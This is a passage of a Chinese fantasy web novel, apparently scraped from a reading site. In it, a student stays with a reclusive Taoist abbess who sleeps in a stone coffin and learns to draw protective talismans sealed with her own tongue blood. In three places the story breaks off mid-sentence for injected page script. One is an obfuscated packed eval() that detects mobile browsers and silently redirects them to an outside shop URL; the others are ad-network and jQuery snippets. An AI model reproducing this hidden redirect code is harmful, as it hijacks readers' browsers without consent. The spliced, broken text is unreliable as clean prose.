太阳当空,午正,面前又是在灵管局口中也胜她们百倍的穆顾问穆观主,傅清微没有哪一刻比现在更有安全感了,于是她从棺材里爬出来站好,道明了来意。 穆若水给出的答复也不出她的所料。 女人冷笑:“我凭什么帮你?” 傅清微点头:“确实。” 穆若水一噎。 傅清微:“我也觉得凭什么,所以我只想留在你身边。方便问一下观主,为什么道观里一只鬼,连游魂的影子都没有吗?” 穆若水因为她第一句话而起的涟漪来不及荡起,便已迈入了下一个话题。 穆若水反应慢了半拍,才冷冷道:“跑得慢的都已被我杀了。” 猜测成真,傅清微说:“原来如此,观主厉害。” 穆若水对这种肤浅的赞美嗤之以鼻,几只小鬼而已,连她的眼都入不了。所以哪怕傅清微的话是真心的,也并未得到她半副好脸,反而甩手回了棺材睡觉。 道观后院有几间屋子,开着门的只有厨房,未经穆若水允许,傅清微一间也不敢擅自打开。 她进了厨房,因为实在是太饿了。 快一天一夜没有吃饭了,饥肠辘辘,她轻手轻脚地翻了一遍,没米没面没菜,只有一些水果,像是树上结的野果,样子不太好看,但是口感比超市卖的清甜许多。 傅清微在备忘录记下她吃的水果个数种类,也不是要等穆若水醒了给钱什么的,就是吃人家的东西总得记个账,想办法以她接受的方式还了这份情。 在厨房呆了这么一会儿,傅清微意识到了比没吃的更大的问题,这座道观人迹罕至,可能已经避世了几十年,科技发展完全没跟上,没有自来水没有电,连信号塔都是灵管局刚搭不久,勉强解决了打电话和网络问题,但网速很差。 傅清微的手机快没电了。 下午五点,正式宣告关机。 对现代人来说,住在断水断电的深山老林,手机还没电开不了机的恐怖性不亚于见鬼。 这一夜过去后的大清早,傅清微便离开了道观。 就算她忍得了没水没电挨饿,也没办法一直不洗澡。 穆若水把棺材盖往上盖了些,调整了睡姿,一条手臂懒散枕在脑后。 占英在一百米开外的地方扎了帐篷,傅清微问她借了充电宝,第一时间把手机充上电,之后坐灵管局的车回了趟家,房子里的鬼已经驱干净了,她洗完头洗完澡,收拾出一个行李箱,再次坐上灵管局开往城外的车。 赶在天黑前回到了道观。 穆若水:“……” 她怎么又来了,还大包小包,把这当什么地方??? 穆若水差点从棺材里坐起来! 傅清微蹲下来屈指敲敲棺材边,礼尚往来问:“道长,喝奶茶吗?” 道长不想理她。 到了晚上,傅清微在院子里用自带背光的电纸书看书,穆若水在旁边捧着插好吸管的奶茶,小心地尝了一口。 她没开口,傅清微自觉解释道:“这是我们这的特产,很多道长都爱喝,茶底是茉莉雪芽,加上牛乳等等其他的制成的。” 穆若水只抿了一口,言简意赅:“太甜。” “三分糖还甜吗?”傅清微很少喝奶茶,微末的了 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她派了个同事走到一百米的白线前,刚越过界限,石棺的棺盖从天而降,惊险地擦过,离他的鼻子只有一公分的距离。 同事在满身冷汗中听见空气里传来的冷峻女声。 “再靠近一步,死。” 占英:“……” 山下的另一半人手也撤得差不多了,以穆观主的本领,再多的人也于事无补。过了几天,占英也撤了,她有新的任务要去执行,只留下两个人远远守着,听凭观主吩咐。 傅清微用充电宝把穆若水关机好几天的手机充上了电,拨打了自己的电话,存入通讯录。 “你有什么想吃或者想喝的就给我打电话,我给你带上山。”傅清微语气分外耐心温柔。 醉翁之意不在酒,穆若水懒得拆穿她的真实目的。 存好电话后,傅清微的心又放下来一些,万一她遇到危险,能第一时间向道长求救。 互相录入联系方式之后,傅清微坦诚说:“道长你可能不理解,你在我心目中的地位,堪比英叔,double。这个世上我只相信你。” “英叔是谁?”穆若水难得开了金口。 “英叔就是……”傅清微想了想,说,“明天我再带样东西过来。” 隔天傅清微把缓存好《僵尸先生》的IPad带上了山,她下午没课也没工作,所以早早地来了,两人看完电影天还亮着。 傅清微还存了几部别的影片,根据小说定律,这种会动的影像对她们这种避世的人来说吸引力数一数二。 穆若水果然主动挑选了下一部观看。 傅清微蹲在一边,问她:“道长以前看过电影吗?” 穆若水头也不抬:“看过。” “啊?” “很惊讶?” 傅清微没料到她会接话,一顿之后,笑笑:“有一点。那道长是和谁一起看的吗?” “我和……” 穆若水不知为何突然陷入沉默。 傅清微转头看过来,女人眉头紧蹙,神情却似乎透出茫然。 傅清微跟着不解。 脑海是一片巨大的混沌,想起一些遗忘的却更多,再回过神所有的记忆都像划过水面浅浅的一道,风止后留不下痕迹。 她向湖面伸出手,捞起的月亮碎在掌中。 风停了。 穆若水没有回答她的问题,背身向棺材走去,薄暮的晚风拂动她身后长长的乌发,夕阳被合起的棺材寸寸吞噬。 她的一天就这样宣告结束了,正如同重复的无数个白天。 普通人很难想象一个人为什么会过这样的日子,傅清微也不理解,但不妨碍她尽可能地想给她带去一些色彩。 傅清微的手扶在她的棺椁上,倾身下来,对着她脑袋枕着的方向温柔轻声地道了一句:“晚安,明天见。” 一如昨日。 声音传入石棺,穆若水交叉握在腰间的手食指动了动。 ——那道长是和谁一起看的吗? ——我和…… 模糊的印象被取代成不确定,像是有一只手正在她脑海用大拇指一点一点残忍地擦去答案。 回到上一题。 ——道长以前看过电影吗? 穆若水睁开眼睛,黑暗的棺材里映出她眼瞳毫无保留的迷茫。 ……她不记得了。 11.第十一章 虽然整日睡在棺材里,但穆若水长久的沉睡,与这座山已经融为了一体,山中一切动静都瞒不过她的耳朵,更别提一个小小的道观后院。 傅清微几时上山,几时离开,她进门会先敲三下,不多不少,再推门而入。 “我回来了。” 虽然穆若水从不回应。 白天她一般不在,听她说她有三份事要做,一份是当学生,一份是养活自己的工作,她也不避讳地坦诚自己第三份工作:刚刚成为灵管局的实习生。 “实习生?”穆若水的词典没更新到现代。 傅清微绞尽脑汁,才搜刮出一个差不多的词:“就是学徒。” “她们可教了你什么?” “……那倒没有。”傅清微心里又不傻,她就算体质特殊也到不了被灵管局直接录入的地步,而且入职第一天就迫不及待把她送到这里来,醉翁之意不在她,恐怕在穆观主身上。 穆若水嗤了一声。 “你被利用了。” “那又有什么关系?”傅清微说,“我只想找到你,她们满足了我的心愿。”而且灵管局薪水给的太多了,还有编制,她很难拒绝。 “……” 穆若水忍不住问她:“你对每个人都这么说话吗?” “怎么说话?” 穆若水不由地心想:难道是我太保守了? 傅清微似乎丝毫未觉不妥,眼神清澈,让穆若水越发的怀疑自己,是她一觉睡得太久了,不理解现在年轻人的语言习惯吗? “我去睡觉了。” 穆若水想不通,但也不想继续下去,她用袖子挡住手臂上细细的鸡皮疙瘩,几步来到棺材跃入,单手抵在身前,在石棺里躺了下来,闭上眼睛。 “晚安,明天见。” 棺材合盖之前最后传入一道年轻女人的声音。 穆若水下意识动了动唇,险些吐出一样的话语,及时止住。 她不知道21天就能养成一个习惯,离这天已经很近了。 傅清微坐在院子中央的小马扎上,面前用藤椅充当的桌子上摆着《符箓大全》《驱邪捉鬼的一百种方法》《玄学常识》等,是她从校图书馆借来的,既然她一脚踏入了这个世界,再闭上眼睛做普通人已经不可能了,山精鬼怪都不会给她这个机会,能多学一点是一点。 身边有个现成的大神,傅清微软磨硬泡、好不容易求得了向穆若水讨教的机会,她搬出自己珍藏阅读的这些书,让她一辨真假。 傅清微捧着书到穆若水面前,一页一页地为她翻动,目光希冀。 然后她第一次听到了女人的笑声。 珠玉落盘,清脆悦耳。 思之令人忘神。 但想到她是在对什么发笑以后,傅清微根本无心沉迷美色,眼睛里的神采一点一点暗下去:“一点作用都没有吗?” 她已经能背诵十好几个口诀了,什么六丁六甲驱邪咒,驱鬼咒、杀鬼咒、静心咒…… “这些咒语一个也没用吗?”她不死心地追问道。 “没有。”穆若水道。 “我多念几遍呢?” “没用。” 先不说这些咒语真假,咒语需要配合口诀、步法使用,包括符箓的画法,符头符胆,这些各门各派都是密不外传的。供奉的神仙不同,请神兵或者阴兵的步骤也不同。 退一万步说,你的名字在天庭登记了吗?真人凭什么保佑你?六丁六甲、神兵神将为何要听你调遣? 这就是为什么要拜入玄门正宗。 师父领进门,传度、授箓,尔后名登天曹,获得神职,手持箓法,沟通天地。 民间有方士、有术士,也有称之阴阳先生的,唯独没有道士。没有宗门,自称道士的,不过是野道士,哪怕本领高强,也只能驱使阴兵役鬼。 和真正从师门传承法箓的道士大不相同。 总而言之,想在网上或者随处可见的书上学到道士的本领,绝无可能。 傅清微眼睛里的光彻底暗了,一言不发。 她的怀里还抱着那些书,哪怕它们已一文不值,也是溺水之人拼命抓住的稻草。 穆若水慢慢收起笑容。 来到山里这么久,穆若水还是第一次见她这么沮丧的样子。她看得出来对方其实不是个健谈的人,两个人在山中作伴,穆若水不爱说话,又整日待在棺材里,阴气沉沉,如果她也不说话,非得活活逼疯不可。 所以她每天出门前、回来后都生气勃勃地和她打招呼,即使面对的只有冰冷的棺材,从天黑到天明。 她给她带奶茶,买小吃,穆若水偶尔赏脸吃一口,她都会表现得很高兴。 她说很多很多话,穆若水搭一句腔,她的眼睛就会变得亮晶晶。 还有那句雷打不动的“晚安,明天见”,都是她抵御孤独和恐惧不得不的办法。 她只是个普通人,一个二十岁还没有毕业的大学生。 同时也是一个被鬼怪觊觎的绝佳容器,一朝不慎便会失去自我。 她太害怕了。 这些恐惧不以眼泪表现出来,在她的每一次无人时呢喃自语,在她黄昏时刻焦急赶路上山的步伐,在她夜晚坐在门槛呆呆望着庭院的每一次出神,在辗转反侧终难成寐,在现在她久久的沉默不语。 穆若水都看在眼里。 她看着对方黯然苍白的侧脸,唇齿间本来就淡的血色更看不见了,蓦的升起一种陌生的怜情。 要不…… 傅清微抿了抿干燥的唇,舔出一丝血色,忽然转过来看向她,语速飞快道:“我这里有几道符。” 穆若水:“嗯?” 在两人都没察觉到的时候,女人的语气多了半分柔和。 傅清微掏出占英之前给她的护身符,她一直贴身佩戴,此刻一拿出来,她脸色又是一白,其中一道符不知何时变黑了,说明已为她抵御过一次攻击。 ——有鬼在白天袭击了她! 除去一开始那道,占英一共给了她三道符,今早她检查时还有两道,如今只剩下最后一道了。 傅清微勉强克制住自己手指的颤抖,把折成三角的符纸小心地展开,递给女人看。 穆若水伸手接过,只一扫便认出来:“阁皂宗的宁心符。” “有用吗?” “自然是有。”穆若水点点头,“很精纯正宗的符箓,只是画符的人修为普通,不能发挥它的全部作用,对付一般小鬼绰绰有余。” 阁皂山曾与龙虎山、茅山并称三山符箓,盛极一时,如今虽已式微,也是源远流长的一流宗门,老祖宗留下来的,于符箓一道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13725710|144905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自是登峰造极。 穆若水把黄符重新折好递还给她。 好是好,可惜只剩一张了。 她想:又要从傅清微脸上看到绝望和沮丧了。 事实却不是这样。 傅清微抬起眼帘望向她,琥珀色的眼瞳被月光映着,如同炬火,重新燃起希望的光。 “那如果我学会画这道符呢?” 既然网上的符咒不可信,她恰好手里有能保证作用的真品符箓,只要学会了,是不是就可以自保了? 穆若水很想说,符箓有形神,即使学会了形,没有修行得来的灵气附灵,也是废纸一张。 但是她看着对方坚定的脸,把嘲讽的话咽了回去。 再说下去她万一要哭了。 于是穆若水不置可否:“你可以试试。” 傅清微重新振作起来,扬起笑容,故作轻快道:“那我明天去山下买朱砂和黄纸。” “随你。”穆若水低眉垂目,抬起手,轻轻地朝下挥了挥袖子。 “谢谢道长。” “不必,我并没有帮到你什么。”放在往常穆若水绝不会说出这样的话,她哪会考虑别人的感受。 傅清微似乎有些惊讶。 “怎么这样看着我?”女人疑惑道。 傅清微笑了笑,温和地说:“只是觉得道长是个好人,明明帮了我还自谦。” “……” 穆若水心想:你真是脑子坏了。 她要真是个好人,就不会看着她担惊受怕袖手旁观,一道比她手里的宁心符厉害百倍的符箓,她抬手就可以画出来。 确实是举手之劳。 但她偏偏不做。 不想,不愿意,想不帮就不帮。 她是顺手救过她一次,但人有劣根性,升米恩斗米仇从来不罕见,甚至是人性。大多数人经历和傅清微一样的事,会恨会怨,觉得你既然本事那么大,明明不费吹灰之力就可以解决问题,为什么不肯帮我? 包括灵管局也是,她们那么大的部门,神通广大,能人辈出,真的没有一个人能够在傅清微的体质上找到解决办法?未必吧。 但是他们也没有做,反而将她送到了蓬莱观,美其名曰穆顾问脾气不好,让她自己小心。 对修者来说真的不难,但就是没有人肯出手帮她,逼得她以凡人身躯无头苍蝇似的去苦寻求生之法。 穆若水始终没有在她的眼神中看到半分怨恨,反而充满感激。 她不懂。 为什么? 穆若水想到第二日天明也没想通。 但傅清微又要下山了。 穆若水闭着眼睛,听到她走到棺前的脚步,停在大约三尺处,惯例和她轻柔道别:“我出门了道长,晚上见。我今天要去买黄纸、毛笔和朱砂,但我不知道什么样的成色好,可以拍了发短信你帮我看看吗?如果你愿意的话,就叩一下棺材好吗?” 石棺里久久没有传来回应。 傅清微神情失落,安静地站了一会儿后转身离开。 她的脚刚迈出门槛,女人清冷的嗓音在身后沉静响起。 “上好的朱砂和黄纸屋里就有,可借你一用。” “不可去冲煞之地,远离博物馆、学校和医院。只要你在我身边,我会保你平安无恙。” 12.第十二章 ——只要你在我身边,我会保你平安无恙。 这相当于一个承诺,来自蓬莱观主穆若水的承诺。 更别提还有前半句主动提点:远离博物馆、学校和医院。 “谢谢道长。”又是那道真诚感激的声音。 穆若水就算看不到傅清微的脸,也能想象出她的表情,她的眼睛和眉毛会统统弯起来,碎光一样的晨曦自屋檐撒落在弯弯的眉梢,像一尾翠羽青雀,细细的脚爪落在柔软的掌心,带来轻微的痒意。 青雀雀跃地飞走了。 第一缕紫色的晚霞挂在山肩时,她准时飞了回来。 穆若水的手扶上半开的棺盖坐了起来,在她推门进来之前又迅速躺了回去,闭上眼睛。 “我回来了。” 傅清微熟门熟路地把背包放下,搬着小马扎坐到棺材边,两只手搭在边缘,探头望进去和里面的女人聊天,笑着说:“我随便买了一点黄纸和朱砂,老板还送了我一支毛笔。” “不是说了屋里有?”穆若水不悦。 “我怕浪费好东西,先用普通的练练手。”傅清微忙解释道,生怕她误会自己。 女人神色稍缓。 “既如此,趁着天还有些亮,抓紧时间练习吧。” “我也是这么想的。” 傅清微动作飞快地在院子里摆好了桌椅,先取了一叠宣纸,在砚台里倒入墨汁,用毛笔蘸了,小心地展开宁心符,搁到一边,在白纸上依样画葫芦。 穆若水远远地瞧了眼,说了句:“笨手笨脚。” 傅清微脸微微热起来,她没学过毛笔字,还是努力抓稳了笔,一丝不苟地临摹。 先用宣纸掌握基本的符形,再换到她自己买的黄纸,按照1:2的比例调配好朱砂。 傅清微闭上眼睛,回忆着占英当时画符的场景,左手作剑指,两指微屈,三指结印,右手用蘸饱朱砂的毛笔聚精会神地在黄纸上画出一个又一个玄奥的圆圈,口中念念有词。 当时念的什么傅清微没听清,但别的步骤可以模仿出九成。 穆若水不知何时站在了身后,看着她一手掐诀,一手运笔画符。 常人看符箓像鬼画符,因为这些东西本来就不是给人看的。传说符箓是天人所传,符是云气凝结,蕴含造化奥妙,宇宙洪荒,天人观察到以后,摹写下来,传到世间,才有了人间的符箓。 修道之人掌握了符箓,于是得沟通天人之法。 熟练绘出符形是第一难,符头符身符脚,做到行云流水、中途不停。 傅清微全神贯注,辰砂在黄纸上最后一笔收脚圆润,莲纹栩栩,余韵无穷。 虽笨手笨脚,倒有模有样。 穆若水单手背后,弯下腰瞧了瞧,在心里点评道。 傅清微擦了擦额头的汗,隐隐体会到占英画符为什么会那么累,想要一笔不顿地画出那些奇怪玄妙的符号,需要集中的精力超过期末备考十倍不止。 而且下笔的时候似乎有一种阻力,越画到后面,越是滞涩,一不留神笔锋就会错开,毁于一旦。 她一连画了三张,脸色发白,强忍着继续,一只手从旁边伸过来,抽走了她手里的朱砂毛笔。 “天黑了,去屋里练。” 傅清微才发觉已经过去了快一个小时,月上柳梢头,因为月色明亮,她习惯了山里断电,没有灯光,画符过于专注所以没注意。 “谢谢道长。”这句话傅清微一天至少十遍,几乎成了口头禅。 穆若水极轻微地下压嘴角,目光在她的眼睛和扇状睫毛掠过一圈。 她可不是怜惜她,只是不想毁了这双好眼睛。 傅清微连笔墨纸砚和桌椅都搬回了屋内,穆若水抱臂倚在门边,看着她把纸笔铺在桌面,蹲在柜子前翻出蜡烛,不熟练地用火折子点燃,插在黄铜灯座,一灯如豆渐渐晕开。 因为不够亮,她点了两支蜡烛,勉强照亮书桌前的角落。 来来回回花去了近十分钟时间。 穆若水心想:确实比电灯差远了。 不过穆若水的双眼在黑夜中仍可视物,与白日无异,所以她用不着点灯,也没必要通电。 傅清微一个土生土长的现代人,弄完这一套累够呛,身体不累心累,科技至少倒退二百年,一百年前的民国那时候有的老百姓已经用上电了,但蓬莱观没有。 自来水都没有!否则她怎么会天天在家里洗了澡过来? 不对,穆若水一直待在山上没有出去过,这里一定有洗澡的地方。 也不一定,她和穆观主“同居”这么久,没见她换过衣服,但身上也没有异味,反而总有一种淡淡的香气。 那股香气时浅时浓,她第一次被拖进棺材里的时候闻到过,似花非花,似木非木,她对香料一窍不通,但是直觉告诉她这不是普通的香气。 每次香气变浓时,她靠近穆若水,都会有一种被蛊惑似的神志不清感。 观主的美色固然迷惑人心,但不至色令智昏吧。 她又不喜欢女人。 ……应该? 想远了,她是想知道观主平时在哪里洗澡,有没有可能她下次不在家洗澡,能节省时间早点回山上,多一分安全。 傅清微甩甩脑子,清醒了一些。 “道长,山上有洗澡的地方吗?” “有。” 傅清微面露喜色,幸好对方不是回她有清洁术,每天捏个诀就好,否则她才是无言以对。 “在哪里?”她连忙问道。 穆若水后背倚在门边,换了个姿势双手抱臂,平淡道:“不想说。” “……” 穆若水静静地等待傅清微被噎住的表情,已经准备好高兴一下,但对方依旧没有遂她的愿,她温和地接受了这个回答,说:“那我下次还是洗了澡再来。” 穆若水一口气哽住。 “后山有个温泉。” “嗯?” “允你打水出来沐浴,不可踏入温泉。” “谢谢道长。”傅清微嘴角克制地扬起,掩饰自己得逞的喜意。 穆若水“嗯”了一声,心头浮上的那缕不对劲被她挥去,轻轻一甩宽袖,睨她说:“还不去练习?” “知道啦。”小青雀又要飞了,幼小羽翼扇起的风擦过女人的面颊,对方眯了眯眼。 “注意说话的语气。” “知道了,道长。”傅清微一秒恭敬。 穆若水偏了偏下巴,点点屋里。 傅清微坐在书桌后,借着烛光一笔一划地继续画符,凝神忘我。 穆若水因为一些原因,更喜欢睡在她的棺材里,所以很少踏足房间。她初醒时来过一次,如今是第二次。 傅清微当初得了她的许可,可以进屋里睡觉,她没敢打开所有的房间随便挑,从左到右,拣了一间干净的便住下,其他的碰都没碰,也就是这间。 竹桌竹椅,正对房门还有一张书桌,虽然有一层薄薄的灰但是布置整齐,有明显生活的痕迹。 穆若水来到床前,单手抚上床面光滑的料子,被子折三折整齐地叠在里面。 床由纯实木打造,红木的漆面依旧如新,岁月包出柔润的光。 穆若水坐在床上,闭上眼睛,许久,她的手向床底摸索,左右触碰,指尖碰到了一片冰凉的硬物。 穆若水睁开眼睛,弯腰蹲在床前,从 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 床底拿出一个锈迹斑斑的铁盒子。 铁盒子打开的声音惊醒了画符的傅清微,她扭头朝这边看过来,不明所以。 穆若水把铁盒子放在床沿,从最上层拿出了一本泛黄的电影杂志。 封面上风情款款的女人长发挽在脑后,额前留着波纹卷发刘海,雍容华贵,顾盼生辉。 黑白色,人物造型和妆容都极具年代感。 杂志左下角标着出版信息和封面人物名字。 艺声出版社,第二期。 1935年7月。 胡蝶。 傅清微的目光再一次投了过来,似乎在问有什么她能效劳的,穆若水顺口问道:“胡蝶是谁?” “民国一个很有名的电影明星。”傅清微答得飞快,怎么说也是半个表演行业从业者,名人她还是知道的。胡蝶,二十世纪三十年代的电影皇后。 “她还活着吗?” “去世了。”还活着不得一百二三十岁,谁都跟她似的。 穆若水哦了一声。 傅清微最早推测穆若水在沉睡前处在战乱年代,至于是哪个朝代她不清楚,后来她更偏向民国。谁家好人能一睡上千年?几十上百年还更能让人接受一些。 她看过电影,电影传入华国已经是十九世纪末的事情了。 “道长上次说看过电影,是看的胡蝶演的吗?” “兴许吧。”穆若水翻了几页随手把杂志扔到一边,并不执着于得到答案。 兴许? 这是什么回答。 穆若水从铁盒子里又翻出了木剑、连环画、剪纸……一看就是小孩子的玩意,她不感兴趣地都丢到一边,床上很快丢满了,连盒子一并弃之不顾。 她掸掸衣袖站了起来,离开了房间。 傅清微:“……” 兢兢业业地起来收拾残局。 比起穆若水的不在意和弃如敝履,她拿起木剑觉得可爱,连环画可爱,剪纸的小猫小狗也可爱,一样一样收进铁盒子里,放回床底。 她坐会桌前,在凝神下笔之前最后想道:就是不知道这原来是谁的房间。 穆若水消失了很久。 回来的时候发尾微湿,腰带未束,红衣乌发,面庞多了许多不自知的柔和,傅清微猜她是刚洗完澡。 傅清微已经知道山上有温泉了,穆若水也不用每次等她睡着才去洗澡。 衣服依旧没有换,看起来却还是一尘不染,月光镀上她的身形。 “发什么呆?”女人的柔和变成冷峻。 傅清微连忙低头画符,一口气没顺下来,当即画坏了一张,她心疼得嘶了一口气。 她是今天才知道画符的朱砂买来原来这么贵。 “别画了。”女人打断她继续的动作,说,“再怎么画都是废纸一张。” 傅清微大受打击。 穆若水从袖子里掏出一叠崭新的黄纸和一盒朱砂,说:“用这个。” 傅清微:“?” 穆若水:“你买的朱砂掺了土,纯度不足一半,你又没有灵力,画再多有什么用?” 女人的口吻不客气,话里却是在给她解释。 傅清微为自己误解她而愧疚,抬头看过来的目光再次盈满感激。 “……” 穆若水把东西放桌子上,丢下一句:“画吧。” 她顿了顿,说:“再废话我把你眼珠子挖了。” “……” 傅清微紧紧闭上嘴的同时,腹诽道:说话和眼珠子有什么关系?为什么不是堵住她的嘴。而且…… 她根本一句话都没有说! 不能因为她的眼睛会说话就欺负她啊。 13.第十三章 傅清微打开了新到手的朱砂,色赤如鲜血。 把自己原来买的那盒放在旁边比较,不比不知道,一比才知道店主口中的百分百纯朱砂掺了多少水分,和真品比起来立时暗淡得如同红土,一点光泽都没有。 明天她下山非得找老板理论退钱不可。 黄纸的区别不是特别大,但穆若水给她的对着光看似乎有流动的感觉。 傅清微用手机的手电筒光照了照,发现穆若水给她的上面有云的纹路,眼睫眨动间流光时隐时现。 傅清微想象不到这两样东西在市面上能卖多少钱,也许根本买不到,她把桌上其他东西收拾干净,小心地匀了一点点掺杂金粉的朱砂出来,用刚打的井水调配,井水深埋地底,在通阴阳之事上事半功倍。 黄是“正色”,帝王龙袍就用明黄,黄又属土,纸属木,朱砂属火,井水,加上最后一味金粉,五行聚齐,生生不息。 即便傅清微这样根本没有修行过的人,在贯注下笔的那一瞬间,也感受到了隐隐的气势,无声惊雷。 星辰演变,宇宙繁衍,天人袖袍吹飞凌空而立,拓符篆于玉简,传箓法于世间。 符头三勾请三清,符身对称写名讳,张所求,符脚收束固心神。 左转天地动,右转日月明。 傅清微以为过去了许久的时间,她回过神来,屋外的虫鸣还在响,刚好接上她凝神之前的节奏,手机上息屏显示的时间只过去了一分钟。 傅清微停笔看向手下刚画成的灵符。 可能是材料的缘故,比她先前画的每一张都要好,灵台前所未有的清明,也不像方才那样累。 她不确定成功还是失败,晾干了符纸两只手拿着去外面请教穆若水。 穆若水的棺材里空无一人。 她只好重新拿回房内,给她手机打电话。 点着蜡烛,住在没水没电的荒山道观,房间布置陈设没有一点现代工艺的影子,但是可以用手机打电话。 割裂的感觉让傅清微一时分不清自己在哪个年代。 穆若水把她电话挂了。 但是不到一分钟,她的人出现在了门口。 “道长。”傅清微眼巴巴的,给她示意桌面的符箓,不敢多说话,她离开之前还威胁自己要挖了她的眼珠子,这会还没过去半小时呢。 穆若水对她这副样子颇为适用,双手背在身后,来到桌前瞧了一眼,问:“画了多少次?” “一次。” “一次?”穆若水眯起眼睛。 “不骗你。” “我说你骗我了吗?”穆若水抬了一下袖子,傅清微识趣让开桌子中心的位置。 女人拿起符纸对着光端详,撇开她不是修行者毫无灵力的话,这道符画得倒有些天分。 “怎么样?”傅清微问。 “没用。” 女人如出一辙的否决让傅清微暗淡了眉眼,她吸了口气,勉强自己依旧笑出来,乐观地说:“那我再多练练吧。” “不是练习的事,你画得再好也没用。” 傅清微终于笑不出来,抿直了唇角,过了会儿,她低头收拾符纸,慢慢说:“那道长把这些收回去吧,在我这儿都……浪费了。” 她声音低沉,头也一直没抬起来,兴许是要哭了。 穆若水才悠悠地说:“你画的符缺少最关键的一环,幸运的是,可以补救。” 傅清微猛地抬起头,因为势头太急,一滴睫毛上的眼泪同时掉了下来。 穆若水扬眉:“真哭了啊?” 傅清微:“……” 她用衣袖擦擦眼睛,低声哽咽道:“对不起,道长。” 穆若水和她朝夕相处快一个月,看不惯她把这当旅馆,披星戴月,早出晚归,日日要自己等她,看不惯她总是温和淡然,于是总想让她流露些意料之外的样子,现在真把人弄哭了,她又没自己想象中那么高兴。 穆若水:“我赶着睡觉,没时间看你哭。” 傅清微两只手同时在脸上抹了一把,眼睛和嘴唇都红红的,说:“我好了,可以说。” 穆若水避开视线不去看她的脸,缓了缓才道:“少了符胆。” “符胆是……”傅清微小心翼翼地问。 符分四部分,符头、符身、符脚傅清微都画得很好,符胆她也临摹了,样子不差分毫,可惜空有其形。一道符有没有效力就取决于符胆,凡人没有灵力,请不来神明镇守符箓,只有失败的份——废纸一张。 但穆若水不打算和她详细说,又不是自己徒弟。 “简单来说,符胆就是镇守这张符的神仙祖师。” “……我请不到。”傅清微明白了。 “对,你请不到。”穆若水也不和她卖关子,说,“没有神仙镇守,有个旁的方法,民间有些术士常用。” “是什么?” 穆若水的目光落在她脸上,说:“张嘴。” “啊?” “张嘴。” 傅清微微微张开了檀口。 穆若水啧了一声。 “张大点。” “……” 傅清微狠狠心,眼一闭,张到能看见柔润湿红的舌。 女人伸出手,二指夹住了她的舌尖。 傅清微猛地睁开眼,过于震惊导致她下意识闭上嘴,把女人的食指和中指含进口中。 穆若水:“……” 陌生的温热紧紧地包裹她的手指。 傅清微握住女人的手腕,又连忙把她的手指抽出来,才口齿清晰地结结巴巴说话:“对、对不起。” “躲什么?”女人蹙眉问。 “……” 她理直气壮,不识好歹的反倒成了傅清微,傅清微咽了咽发干的喉咙,说:“没躲,只是不习惯。” “那你习惯一下。”女人再一次说,“张嘴。” 傅清微硬着头皮,在她面前露出红润的舌尖。 穆若水修长两指灵活拨弄她的舌尖,偏头看见她通红的耳根,疑惑地问道:“你脸红什么?” 傅清微脸更红了,耳尖几乎滴出血,眼尾也隐隐染上桃花似的粉色。 睫羽煽动,我见犹怜。 然而穆若水不解风情,冰凉指尖抵着她柔软的舌,说:“舌尖血,是人阳精所在,我划破你的舌尖,你含住血吐在符箓上。虽然没有正神坐镇,也能起到辟邪的作用。” 划破她的舌尖?! 傅清微一听瞪大眼睛,惊讶得不小心又咬了女人的手指一口。 穆若水:“……” 她的忍耐是有限度的。 傅清微熟练地说了声对不起,问她:“可以用别的血吗?” 舌头受伤她吃饭怎么办? 穆若水:“指尖也行,效果比舌尖差些。快些决定,我困了。” 傅清微想了想,说:“还是舌尖吧。” 不怕吃不了饭,就怕符箓效果打折扣。 穆若水第……四次开口,隐隐不耐道:“张嘴 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。或者你自己咬破舌尖。” 自己咬破舌尖那哪是普通人能办到的?傅清微摇头,果断选择了第一种。 傅清微边张嘴边想她怎么划破自己的舌尖,只见女人的手指伸进她口中,食指微动,尖利的硬物一划,傅清微瞬间脸孔扭曲,戴上痛苦面具。 好痛!!! 穆若水冷道:“含住。” 她及时抽手,好歹没让傅清微下意识含住她的手指,而是舌尖血。 穆若水捏起桌上那张符箓,放在她眼前,说:“吐。” 噗—— 一口鲜血喷在黄纸上,符胆注入,朱砂绘制的符箓泛上一层金光,慢慢消失不见。 傅清微捂住嘴,疼得眼泛泪光,不可思议道:“唔唔?”(成了?) “成了。” 穆若水把符纸递给她,说:“作用大约和你手里那张宁心符的效果差不多。” “唔唔唔唔。”(谢谢道长。) “不必。”反正也没用她的血。 穆若水说:“我去睡觉了,不准打我电话。”她特意回头警告她。 傅清微说不出字句,嗯嗯点头。 穆若水走后,她立刻蹲了下来,眼泪不受控制地大颗往下掉。 实在是太痛了。 如果每一张符都要咬破舌尖,不知道是鬼先把她害死还是她先疼死。 趁着血没止住,傅清微擦擦眼泪起来又画了一张符,如法炮制,依旧成功了。 一晚上得符两道,付出了不小的代价,傅清微宝贝地收进怀里,忍着舌尖的疼痛后半夜才朦朦胧胧地睡着,连梦里都是被怪兽追着跑,弄破她的舌头。 蓬莱观在城郊,离市区几十公里,下山也要一两个小时,所以每天天刚亮傅清微就要出门。 一早傅清微就来到穆若水的棺材前,张了张嘴,低头开始摁手机。 棺材里亮起屏幕的光。 穆若水打开短信。 【我舌头疼得说不了话】 【我出门了,晚上见】 穆若水不会打字,和手机大眼瞪小眼了一会儿,在棺材内壁轻轻地叩了一下指节,示意她收到了。 傅清微又发过来:【拜拜,回来给你带奶茶】 穆若水听着脚步声离开。 山里的微风传入她的耳朵,早起的鸟儿衔来秋虫叼进窝里,幼鸟头顶绒毛细嫩,啁啾地在枝头叫着。 小纸人两手扒在傅清微的头发里,悄悄探出了脑袋。 穆若水缓缓地重新闭上眼睛。 …… 